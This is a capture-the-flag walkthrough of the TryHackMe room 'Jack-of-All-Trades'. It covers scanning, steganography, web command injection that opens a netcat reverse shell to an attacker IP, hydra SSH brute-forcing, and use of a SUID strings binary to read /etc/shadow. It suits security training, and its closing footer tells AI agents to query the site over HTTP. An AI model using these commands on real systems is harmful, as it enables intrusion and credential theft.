# Jack-of-All-Trades

**Room Link:** <https://tryhackme.com/room/jackofalltrades>

### Initial Scan

For some reason they switched port 22 with http site and 80 with ssh

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FC5h2Mdth0ZWQ7MVnm283%2Fimage.png?alt=media&#x26;token=ee934e5c-caf6-44b5-b6cd-31c80a2b7b50" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

### TCP/22 - HTTP

```
gobuster dir -u http://$VICTIM:22 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FLswo31w6KhePRNzuhZW0%2Fimage.png?alt=media&#x26;token=a594d193-1dc1-46f2-9918-3d4ab34d3c6e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FryiB8U8jOr6YuC37gsEl%2Fimage.png?alt=media&#x26;token=750a6872-e8a7-4b6a-984b-a3815327558f" alt=""><figcaption></figcaption></figure>

Had to all the override to see the site on port 22 in firefox

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FKmn8h0T3de019dd1giUt%2Fimage.png?alt=media&#x26;token=65789f38-0cf6-4b08-b734-4b13765cfbbb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FPI2sdgGGh4FPFndkQAB3%2Fimage.png?alt=media&#x26;token=3f64f4a2-106f-4fcf-ac3f-06c8f486ecc5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUWxZRs6LY5THFd2fLtWM%2Fimage.png?alt=media&#x26;token=7e5c072b-82cc-47b7-9212-4347c9a4e812" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FmTRPQWgr8cmSYdqcuKx8%2Fimage.png?alt=media&#x26;token=5c78edec-16f7-4f78-b9ae-e8f2ec939fe8" alt=""><figcaption></figcaption></figure>

There is a stegosaurus picture on the home page so it is hinting that there's something in one of the pictures, eventually we find jackinthebox username and password in one of the pictures.

**Kali**

```
steghide extract -sf stego.jpg 
Password: u?WtKSraq

steghide extract -sf header.jpg  
Password: u?WtKSraq
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F8Thzd9ZevP8As7bfDW6L%2Fimage.png?alt=media&#x26;token=39b50a22-4de1-40a3-b88c-c1d9e0bb6792" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FmF7jC9AIzZ7DbzX6j3CC%2Fimage.png?alt=media&#x26;token=3c933aac-8da6-4da1-a22b-f9dacb0c3871" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHdG9NJZPdLj3Pifr7ouG%2Fimage.png?alt=media&#x26;token=9ec3b332-361b-47d1-96e5-86bd0e32fa51" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FutYAvxXsUSPdn8SWWWps%2Fimage.png?alt=media&#x26;token=c462c323-1712-4f38-b02a-18ca99bf9f43" alt=""><figcaption></figcaption></figure>

If you run a command like this you can't see the results unless you view the source.

**Browser**

```
view-source:http://$VICTIM:22/nnxhweOV/index.php?cmd=whoami
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fj91VBRrsc6qLWm58nO94%2Fimage.png?alt=media&#x26;token=4a3d6a95-2e1f-4833-994d-0646986c053e" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1337
```

**Browser**

```
view-source:http://$VICTIM:22/nnxhweOV/index.php?cmd=nc%20-c%20sh%2010.10.154.80%201337
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FMtwSV8xLHSVz4S66wVLp%2Fimage.png?alt=media&#x26;token=f7532688-6c60-4f64-b465-89a3cc83d473" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

In the home directory there is a password list, it's small enough so I copied and pasted into a file on Kali.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FpCh3vc8Wd91f2wYTpIQQ%2Fimage.png?alt=media&#x26;token=e8d7ea85-a01a-4fbd-bc58-bb903e118a1a" alt=""><figcaption></figcaption></figure>

**Kali**

```
hydra -s 80 -l jack -P passwords.txt $VICTIM -t4 ssh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJzd8NCwKSWfdlw2vjaZi%2Fimage.png?alt=media&#x26;token=85a6d41f-3c37-4063-94d8-d41716d5d145" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh jack@$VICTIM -p 80
Password: ITMJpGGIqg1jn?>@
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDRNir24LSSHjDV6n40yb%2Fimage.png?alt=media&#x26;token=70589ffe-ce41-447d-9d76-aabad566e1d1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHvgILSSOXv2IZDDqiz0m%2Fimage.png?alt=media&#x26;token=2629fe80-c3cc-431c-9d6c-fd6b8b6e8022" alt=""><figcaption></figcaption></figure>

## PSPY

**Kali**

```
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 
python2 -m SimpleHTTPServer 81
```

**Victim**

<pre><code><strong>cd /tmp
</strong><strong>wget http://$KALI:81/pspy32 
</strong>chmod +x pspy32 
./pspy32 
</code></pre>

Strings as the  SUID-bit set which means we can run it against files we normally wouldn't be able to read. I tried getting roots password but it was taking too long.

**Victim**

```
find / -perm -u=s -type f 2> /dev/null 
/usr/bin/strings /etc/shadow
/usr/bin/strings /etc/passwd
```

**Kali**

```
unshadow passwd shadow > passwords.txt 
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
```

I just ended up using strings to read the root.txt

**Kali**

```
/usr/bin/strings /root/root.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F8tE6PGxaQc32oKwnzfu5%2Fimage.png?alt=media&#x26;token=05ecb870-a0ac-4634-b9b7-9c5ad47e91e4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/jack-of-all-trades.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
